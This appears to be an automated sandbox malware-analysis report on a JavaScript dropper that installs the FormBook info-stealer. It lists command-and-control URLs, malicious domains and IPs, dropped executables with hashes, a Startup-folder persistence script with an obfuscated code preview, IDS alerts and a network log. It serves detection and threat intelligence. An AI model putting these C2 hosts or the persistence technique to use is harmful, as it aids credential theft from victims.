	IRQ2107799_pdf.exe	Get hash	malicious	Browse	www.mohamed-abdo.com/s21e/?UnO0=BHfTW2&m0DpHNK=6aTV7puX6T9SQS+8T6Dmepn/vKC/xz/x7SP1UQrEHicWHn8L6ZXSaBZTjqyI2mquo1bk
	IRQ2107799_pdf.exe	Get hash	malicious	Browse	www.relocationservices.us/s21e/?d0D=E4zloXy&8p=l/5k3RFhjCj5QiNKiMov1iM60urdIq+6BwQkIRqJu1Zatw+VqFbQBi7gMFBUDetVNCQZ
	bena.exe	Get hash	malicious	Browse	www.edibleandbubbles.com/s5hr/
	SecuriteInfo.com.Variant.Strictor.271279.12185.exe	Get hash	malicious	Browse	www.tacdating.com/i9ng/?_87=memMO4HQwimMp/oHMa9udIAzHC2e5mSX3NTA8A9ux2V5vBYzK/9xgKjxdPzMeM4VWFs4&gD=5jWDZh
	ORDER INQUIRY_pdf.exe	Get hash	malicious	Browse	www.mohamed-abdo.com/s21e/?q0GXppL0=6aTV7puX6T9SQS+8T6Dmepn/vKC/xz/x7SP1UQrEHicWHn8L6ZXSaBZTjqyI2mquo1bk&sH5L9j=4hfTxRE
	DWG-1579.exe	Get hash	malicious	Browse	www.bhawanitransports.com/f7sb/?n41lzj=7EELomCaH3K4rGXX5zG2tJ4UfHMIw9stJfFhbnia9SZtltPnm5p791Un4jw5ULq2Cdgk&FX=hT1DAXb0CXnHxPOP
	9bc7b2f9a86cdad10a9c85942a2f075e76bf141db087354a1309fabac24f7a36.exe	Get hash	malicious	Browse	www.beachdayscottage.com/a5qd/?f42h-VXX=YJZmcvPwxsLuGgZ6QO0h1izxqVJ8M0BOzm7ACaqqDg4r6KCuh3JmJ1J5QEH5ywG7KmE+&j4YX=S8-hBJAhJ8SlUH
	Inquiry 22602057.exe	Get hash	malicious	Browse	www.bhawanitransports.com/f7sb/?IDH8qvn=7EELomCaH3K4rGXX5zG2tJ4UfHMIw9stJfFhbnia9SZtltPnm5p791Un4jw5ULq2Cdgk&mXMHz=k6H8Lf5hDTZdej60
	doh.exe	Get hash	malicious	Browse	www.zcyq.life/b6nt/?l2M=Ulj3tmBuwap3nIFEhaAGsmXqhHpR4XRdZScNBnEM7rkQJv12RMIhX7AGzBs7vjenFTnO&2d0L5R=LtYPJlS
	Yeni sipari#U015f _WJO-001, pdf.exe	Get hash	malicious	Browse	www.sunkissedjourneys.com/hte6/?g8SP8=LumzXWynrohkhHY0Hq1bUFQSDezxoL1N+Jrnmw2iT+ulkWgYAkpHRQbQnPixJZ6pvqP0&Dl9pn=OFNLJZpx6
	Purchase_order.exe	Get hash	malicious	Browse	www.dtcuae.com/ioxf/?d8K=QEGijmdl3SVcX/xmFvK0p00DikVHdtgBLMrHMZH86ETt2rwHbJRRgtazOaOy9JUqk6/W&9r60=8pFHZD
	payment transfer copy.pdf.exe	Get hash	malicious	Browse	www.mmfirewood.net/cnt4/?Czr0vf_X=AuLNTSpGZy4KnkZorkmBsnLA2t35k7D7aMuVA1GoqPz6133V2hOIhZbB6uY5yZFd1A1H&s2=nPH4i
	Request for Quatation.exe	Get hash	malicious	Browse	www.dtcuae.com/ioxf/?DX3LTb=QEGijmdl3SVcX/xmFvK0p00DikVHdtgBLMrHMZH86ETt2rwHbJRRgtazOZib+JoStZKAL4bMfA==&jzrDV=w0DLXpo8
	61901.exe	Get hash	malicious	Browse	www.seacoasttractor.com/inga/?6lo=4XKls776RhR6gv+xzOUY0BM0NJwKOTIWbtSfxDozlf48stb4Xo5RJPFWjXHut7JxlvrY&o6b=adX4P
	purchas.exe	Get hash	malicious	Browse	www.peaceandlovebhs.com/d1n3/?8pE=Fdut0zZ2v5zOk3N3GE52X8YZsUfwIQ6QBwQl+2HdOOnxOQITVa90UEM9+Ny6viNw/WzL&q0GTcr=z4-P3Fz

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.ratebill.com	CIQ-PO162667.js	Get hash	malicious	Browse	137.220.133.198
www.ratebill.com	Nr_SC0551923.js	Get hash	malicious	Browse	137.220.133.198
www.medyumgalip.com	NSC0551923.js	Get hash	malicious	Browse	172.67.140.71
dilshadkhan.duia.ro	Payment AfvHeqhlhh_PDF.js	Get hash	malicious	Browse	91.193.75.133
	CIQ-PO162667.js	Get hash	malicious	Browse	91.193.75.133
	e-receipt.js	Get hash	malicious	Browse	91.193.75.133
	Electronic receipt #250522-1605-NNAO.js	Get hash	malicious	Browse	91.193.75.133
	New order inquiry.js	Get hash	malicious	Browse	91.193.75.133
	payment slip_vjmn5x2.js	Get hash	malicious	Browse	91.193.75.133
	payment slip_vjmn5x2.js	Get hash	malicious	Browse	91.193.75.133
	TT COPY.js	Get hash	malicious	Browse	91.193.75.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY	commenti_8.xls	Get hash	malicious	Browse	170.39.76.252
	DETAILS-12.xls	Get hash	malicious	Browse	170.39.76.252
	sora.arm-20220521-1450	Get hash	malicious	Browse	170.38.194.21
	boat.arm7	Get hash	malicious	Browse	170.38.170.60
	UoetvZhtZ6	Get hash	malicious	Browse	170.38.210.219
	buiodawbdawbuiopdw.arm7	Get hash	malicious	Browse	170.38.169.247
	suaru67M7D	Get hash	malicious	Browse	170.39.176.89
	meihao.m68k	Get hash	malicious	Browse	170.39.159.184
	RS12PdiDSn	Get hash	malicious	Browse	170.39.120.163
	KiDRFl2BaN	Get hash	malicious	Browse	170.39.4.107
	pandora.arm7	Get hash	malicious	Browse	170.38.170.161
	phantom.x86	Get hash	malicious	Browse	170.39.4.100
	4x2WhLFL1j	Get hash	malicious	Browse	170.38.210.202
	Lg4m7m7BeS	Get hash	malicious	Browse	170.38.210.200
	8AtMf6XNDS	Get hash	malicious	Browse	170.39.4.111
	i386.o	Get hash	malicious	Browse	170.38.39.185
	x86_64-20220420-0452	Get hash	malicious	Browse	170.38.169.251
	oVKjPuPJEc	Get hash	malicious	Browse	170.38.145.46
	OsYys7uYvu	Get hash	malicious	Browse	170.39.200.106
	oX1Hef1rim	Get hash	malicious	Browse	170.38.210.212
GODADDY-AMSDE	CIQ-PO162667.js	Get hash	malicious	Browse	160.153.136.3
	Bolt,Screw and Nuts Pdf.exe	Get hash	malicious	Browse	160.153.136.3
	b07997fa6d97fa62edb47fe65881fb8fd7cfc025b1ac4.exe	Get hash	malicious	Browse	160.153.133.146
	https://trk.klclick3.com/ls/click?upn=UaD9A-2F-2FUcB1Y-2BmlWGyK8zQoUuUpG6MI-2F-2BOJEfhRB4O8Q5AU9n7JBkESdBNQckELmLx4cruopC7lWKWeQ3tJBFA-2FBWQAEhHhrTyXk5muEIo70alpUMsDHhKHWeZYTZE0MDFvNPIIB0xUlAaQgdN0Stg-3D-3Dwo8q_cXFzJ7fWxEqUOkRXSXNw8dqdf9NThO25brxiFNzS0eToP-2FOVkE5kUCgdy12nQfEY9cXCZadWTlyf-2BNxHlO1kpdqtZ6bQ8wE4kvW9XT7uR9BpSm9bw2xCFoHx9x7tVuOtZMbI8-2Fx3n9PdsqunwTMgODlOqgKiP2ShIgGZSwCdsalvFGPRNy8WAM1G7A2K8DX2weJn5eqkxdVAEKE7-2FV-2FrcX19-2B-2BrADR-2FulGbEJCcZJuwolCSER3Oi9WqAANwKWjWo0CI6uVzfzTtHbqh3-2FfKNVEE8Z0TpHLc4SUePDZ-2B1-2F2kLGphgYVmJdCC2Qts6Wfp45vk9Y7oezYKCZerzek3tBv6MT91FQ-2BkOOsil5ocEBNENyIgVSQ1Mcv7TdU0F123g-2FminCLTm0ZPqkzqjPfGOAQ-3D-3D#jen@orts.co.za	Get hash	malicious	Browse	160.153.128.44
	Setup.exe	Get hash	malicious	Browse	160.153.133.146
	http://herontraiding.com/iusq/tiiiiqnocudst	Get hash	malicious	Browse	160.153.131.153
	https://smarthelps.net/	Get hash	malicious	Browse	160.153.136.3
	https://sites.google.com/view/stratoaglets/strato	Get hash	malicious	Browse	160.153.138.217
	http://lawrencetravelco.com	Get hash	malicious	Browse	160.153.136.3
	https://dhamiltonsmiddifferece.com	Get hash	malicious	Browse	160.153.136.4
	https://normandmkalglelawquotw.com	Get hash	malicious	Browse	160.153.136.4
	https://normandmkalglelawquotw.com/	Get hash	malicious	Browse	160.153.136.4
	http://tukuafrika.org/etiv/trutqoncecoesu	Get hash	malicious	Browse	160.153.129.226
	https://thehrmsourceginikaribullpointpoa.com/	Get hash	malicious	Browse	160.153.136.4
	uUxLhCncpZ	Get hash	malicious	Browse	160.153.131.149
	Linux_x86	Get hash	malicious	Browse	160.153.131.149
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Browse	160.153.136.3
	SecuriteInfo.com.Trojan.MSIL.AgentTesla.LLD.MTB.13803.exe	Get hash	malicious	Browse	160.153.136.3
	IRQ2107799_pdf.exe	Get hash	malicious	Browse	160.153.136.3
	IRQ2107799_pdf.exe	Get hash	malicious	Browse	160.153.136.3

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	CIQ-PO162667.js	Get hash	malicious	Browse
	CIQ-O0061624.js	Get hash	malicious	Browse
	Nr_SC0551923.js	Get hash	malicious	Browse
	NSC0551923.js	Get hash	malicious	Browse
	SC51072208.js	Get hash	malicious	Browse
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	CIQ-PO162667.js	Get hash	malicious	Browse
	CIQ-O0061624.js	Get hash	malicious	Browse
	Nr_SC0551923.js	Get hash	malicious	Browse
	NSC0551923.js	Get hash	malicious	Browse
	SC51072208.js	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175616
Entropy (8bit):	7.183748058190585
Encrypted:	false
SSDEEP:	3072:SLoTtolDRDhriOOb3BmWWS1OHUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTlDR1Qb3B51Oth1CO5CWMaYPwiZo
MD5:	FF568D4337CE1566C4140FA2FEDF8DB8
SHA1:	4DF5F14F47D7855ABB55E9C371D5B39170651AE8
SHA-256:	AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341
SHA-512:	3062FD8890DE3CE40FEE381514621BA9DBE53CCCAA5C3A5EDAEDD5B9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A43F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident Response Group
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 49%, Browse Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: CIQ-PO162667.js, Detection: malicious, Browse Filename: CIQ-O0061624.js, Detection: malicious, Browse Filename: Nr_SC0551923.js, Detection: malicious, Browse Filename: NSC0551923.js, Detection: malicious, Browse Filename: SC51072208.js, Detection: malicious, Browse
Preview:	MZER.....X......<......(..............................................!..L.!This program cannot be run in DOS mode....$........v.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........PE..L...$..?..........................................@.......................................@..........................................................................................................................................................text...p........................... ..`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175616
Entropy (8bit):	7.183748058190585
Encrypted:	false
SSDEEP:	3072:SLoTtolDRDhriOOb3BmWWS1OHUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTlDR1Qb3B51Oth1CO5CWMaYPwiZo
MD5:	FF568D4337CE1566C4140FA2FEDF8DB8
SHA1:	4DF5F14F47D7855ABB55E9C371D5B39170651AE8
SHA-256:	AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341
SHA-512:	3062FD8890DE3CE40FEE381514621BA9DBE53CCCAA5C3A5EDAEDD5B9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A43F
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 49%, Browse Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: CIQ-PO162667.js, Detection: malicious, Browse Filename: CIQ-O0061624.js, Detection: malicious, Browse Filename: Nr_SC0551923.js, Detection: malicious, Browse Filename: NSC0551923.js, Detection: malicious, Browse Filename: SC51072208.js, Detection: malicious, Browse
Preview:	MZER.....X......<......(..............................................!..L.!This program cannot be run in DOS mode....$........v.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........PE..L...$..?..........................................@.......................................@..........................................................................................................................................................text...p........................... ..`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB1

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bin.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	175616
Entropy (8bit):	7.183748058190585
Encrypted:	false
SSDEEP:	3072:SLoTtolDRDhriOOb3BmWWS1OHUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTlDR1Qb3B51Oth1CO5CWMaYPwiZo
MD5:	FF568D4337CE1566C4140FA2FEDF8DB8
SHA1:	4DF5F14F47D7855ABB55E9C371D5B39170651AE8
SHA-256:	AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341
SHA-512:	3062FD8890DE3CE40FEE381514621BA9DBE53CCCAA5C3A5EDAEDD5B9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A43F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response Group
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 49%, Browse Antivirus: ReversingLabs, Detection: 100%
Preview:	MZER.....X......<......(..............................................!..L.!This program cannot be run in DOS mode....$........v.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........PE..L...$..?..........................................@.......................................@..........................................................................................................................................................text...p........................... ..`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Download File

Process:	C:\Windows\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	modified
Size (bytes):	7168
Entropy (8bit):	4.387957964543942
Encrypted:	false
SSDEEP:	48:r5loP8Vz0K/BXSMIuHtk/XSDCuJGa9Tub2dtPdO6oXSR5adRCFU5+zdOvsuKiiAP:tlBVFJhtk/2GzCoZdRm2aseK
MD5:	C15C28E9D8569F5CED2F804D0B6729FB
SHA1:	4D0CC389CC645DDFEBC0C7CE85E0091BA944386D
SHA-256:	CB5D8F54D85AAED0DD1272F404BD77E28D9E7FF4A5DD20D96CCE8A8EE5E6BA14
SHA-512:	07A7D94311C6DA21385F34B7AE5B0962350D8B1F3A948AC883F59A0295E6038C1A2EA8F4DE8B4D2F3905CDE80839F3E1542A1FB734F54178D9F5E6C5AEA76477
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	8757
Entropy (8bit):	5.950642749871151
Encrypted:	false
SSDEEP:	192:zgQyfg0CBohLOLXlb4b/3BUzRhR9VYGOwL/mxjJoxL+IlAEvub:zaCB7L1b4b/3BqF/mlJNIlAoQ
MD5:	10CE482F20AAE1AB3CA028547D8434DD
SHA1:	3C0DE284CDAFA07C13A01C3AFFD3CAC2C3D90AF9
SHA-256:	699C971DAA7BCD35093A10E961433158F05765EFBFB93F10CAF39A1D0FA3684B
SHA-512:	5247410A0B50C48078F8E6ED8C44DE1258AF9571E2E9A1A90E8A91330FCD2F275D2426BF6A2EA2E54E3348AD7D7C49B04BE7C938FD948239DF69E3BDD3675E6A
Malicious:	true
Preview:	void (!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array = [];. for (var i = 0; i < this.length; i++) {. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values = this;. if (typeof initial === '\x75\x6e\x64\x65\x66\x69\x6e\x65\x64') {. initial = 0;. }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);. });. return initial;.} : 0);.function __p_7265348614(__p_5822673305, __p_8514662229) {. switch (__p_5065938125) {. case -386:. return __p_5822673305 + __p_8514662229;. }.}.function __p_9320033659(a) {. a = __p

C:\Users\user\AppData\Roaming\wtheeNaAZG.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	8757
Entropy (8bit):	5.950642749871151
Encrypted:	false
SSDEEP:	192:zgQyfg0CBohLOLXlb4b/3BUzRhR9VYGOwL/mxjJoxL+IlAEvub:zaCB7L1b4b/3BqF/mlJNIlAoQ
MD5:	10CE482F20AAE1AB3CA028547D8434DD
SHA1:	3C0DE284CDAFA07C13A01C3AFFD3CAC2C3D90AF9
SHA-256:	699C971DAA7BCD35093A10E961433158F05765EFBFB93F10CAF39A1D0FA3684B
SHA-512:	5247410A0B50C48078F8E6ED8C44DE1258AF9571E2E9A1A90E8A91330FCD2F275D2426BF6A2EA2E54E3348AD7D7C49B04BE7C938FD948239DF69E3BDD3675E6A
Malicious:	true
Preview:	void (!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array = [];. for (var i = 0; i < this.length; i++) {. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values = this;. if (typeof initial === '\x75\x6e\x64\x65\x66\x69\x6e\x65\x64') {. initial = 0;. }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);. });. return initial;.} : 0);.function __p_7265348614(__p_5822673305, __p_8514662229) {. switch (__p_5065938125) {. case -386:. return __p_5822673305 + __p_8514662229;. }.}.function __p_9320033659(a) {. a = __p

Static File Info

General

File type:	ASCII text, with very long lines
Entropy (8bit):	5.601281248512688
TrID:
File name:	CIQ-PO16266.js
File size:	334586
MD5:	3570adb415b3302811030be16c08f2ff
SHA1:	2da5d97870cfadf90ebb7890f58ee211ea112cbb
SHA256:	10087128422049e18547776f5785304fbf760279baddc0abdbf3943f66b780ff
SHA512:	3a308a3313233ee03b38cde454a98b12b7a1e7bc96f65915507c9c6642e6a929b2fe0586bf356aac62f17374b8a450b09c68c8dea079ff4e54d3a4f7dd0f10cf
SSDEEP:	6144:BTJdVW6b2AMnpk7ts/gEKg1Lf9lWaFBiJ+DuMPAZHZGPksLvX97B/2xe8JOAj:BTJd7BCss/zFLf9saFq+DPwHZOLV7Zy/
TLSH:	A864B03187809F69DB984D0BD0BD1E1F55F3136AD473B2CCABA3390B2AAEE0D1616D45
File Content Preview:	void (!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.protot

File Icon


Icon Hash:	e8d69ece968a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5185.53.179.17149913802031453 05/27/22-18:43:48.469747	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49913	80	192.168.2.5	185.53.179.171
192.168.2.5160.153.136.349830802031453 05/27/22-18:42:06.776383	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49830	80	192.168.2.5	160.153.136.3
192.168.2.5134.122.201.21749940802031449 05/27/22-18:44:23.615589	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49940	80	192.168.2.5	134.122.201.217
192.168.2.5170.39.76.2749964802031449 05/27/22-18:45:15.799755	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49964	80	192.168.2.5	170.39.76.27
192.168.2.5134.122.201.21749940802031453 05/27/22-18:44:23.615589	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49940	80	192.168.2.5	134.122.201.217
192.168.2.5103.247.11.21249848802031449 05/27/22-18:42:18.078087	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49848	80	192.168.2.5	103.247.11.212
192.168.2.5160.153.136.349830802031412 05/27/22-18:42:06.776383	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49830	80	192.168.2.5	160.153.136.3
192.168.2.5185.53.179.17149913802031412 05/27/22-18:43:48.469747	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49913	80	192.168.2.5	185.53.179.171
192.168.2.5134.122.201.21749940802031412 05/27/22-18:44:23.615589	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49940	80	192.168.2.5	134.122.201.217
192.168.2.5170.39.76.2749964802031412 05/27/22-18:45:15.799755	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49964	80	192.168.2.5	170.39.76.27
192.168.2.5170.39.76.2749964802031453 05/27/22-18:45:15.799755	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49964	80	192.168.2.5	170.39.76.27
192.168.2.5185.53.179.17149913802031449 05/27/22-18:43:48.469747	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49913	80	192.168.2.5	185.53.179.171
192.168.2.5170.39.76.2749892802031449 05/27/22-18:43:24.808360	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49892	80	192.168.2.5	170.39.76.27
192.168.2.545.39.111.14649920802031453 05/27/22-18:43:54.176553	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49920	80	192.168.2.5	45.39.111.146
192.168.2.545.39.111.14649920802031412 05/27/22-18:43:54.176553	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49920	80	192.168.2.5	45.39.111.146
192.168.2.5170.39.76.2749892802031453 05/27/22-18:43:24.808360	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49892	80	192.168.2.5	170.39.76.27
192.168.2.545.39.111.14649920802031449 05/27/22-18:43:54.176553	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49920	80	192.168.2.5	45.39.111.146
192.168.2.5170.39.76.2749892802031412 05/27/22-18:43:24.808360	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49892	80	192.168.2.5	170.39.76.27
192.168.2.5103.247.11.21249848802031412 05/27/22-18:42:18.078087	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49848	80	192.168.2.5	103.247.11.212
192.168.2.5160.153.136.349830802031449 05/27/22-18:42:06.776383	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49830	80	192.168.2.5	160.153.136.3
192.168.2.5103.247.11.21249848802031453 05/27/22-18:42:18.078087	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49848	80	192.168.2.5	103.247.11.212

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 18:40:23.621349096 CEST	49736	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:23.661436081 CEST	6670	49736	91.193.75.133	192.168.2.5
May 27, 2022 18:40:24.200299025 CEST	49736	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:24.240132093 CEST	6670	49736	91.193.75.133	192.168.2.5
May 27, 2022 18:40:24.887820959 CEST	49736	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:24.927656889 CEST	6670	49736	91.193.75.133	192.168.2.5
May 27, 2022 18:40:32.508064032 CEST	49740	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:32.547874928 CEST	6670	49740	91.193.75.133	192.168.2.5
May 27, 2022 18:40:33.201026917 CEST	49740	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:33.241024971 CEST	6670	49740	91.193.75.133	192.168.2.5
May 27, 2022 18:40:33.897011995 CEST	49740	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:33.937021971 CEST	6670	49740	91.193.75.133	192.168.2.5
May 27, 2022 18:40:37.377120018 CEST	49742	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:37.417047024 CEST	6670	49742	91.193.75.133	192.168.2.5
May 27, 2022 18:40:37.967106104 CEST	49742	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:38.007126093 CEST	6670	49742	91.193.75.133	192.168.2.5
May 27, 2022 18:40:38.560946941 CEST	49742	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:38.601011038 CEST	6670	49742	91.193.75.133	192.168.2.5
May 27, 2022 18:40:41.118804932 CEST	49745	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:41.158776045 CEST	6670	49745	91.193.75.133	192.168.2.5
May 27, 2022 18:40:41.701839924 CEST	49745	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:41.742713928 CEST	6670	49745	91.193.75.133	192.168.2.5
May 27, 2022 18:40:42.389338017 CEST	49745	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:42.429231882 CEST	6670	49745	91.193.75.133	192.168.2.5
May 27, 2022 18:40:45.813384056 CEST	49747	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:45.853339911 CEST	6670	49747	91.193.75.133	192.168.2.5
May 27, 2022 18:40:46.374039888 CEST	49747	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:46.384680986 CEST	49750	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:46.414511919 CEST	6670	49747	91.193.75.133	192.168.2.5
May 27, 2022 18:40:46.426048994 CEST	6670	49750	91.193.75.133	192.168.2.5
May 27, 2022 18:40:46.999172926 CEST	49750	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:47.039338112 CEST	6670	49750	91.193.75.133	192.168.2.5
May 27, 2022 18:40:47.061630964 CEST	49747	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:47.101804018 CEST	6670	49747	91.193.75.133	192.168.2.5
May 27, 2022 18:40:47.702285051 CEST	49750	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:47.746980906 CEST	6670	49750	91.193.75.133	192.168.2.5
May 27, 2022 18:40:51.524692059 CEST	49756	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:51.564623117 CEST	6670	49756	91.193.75.133	192.168.2.5
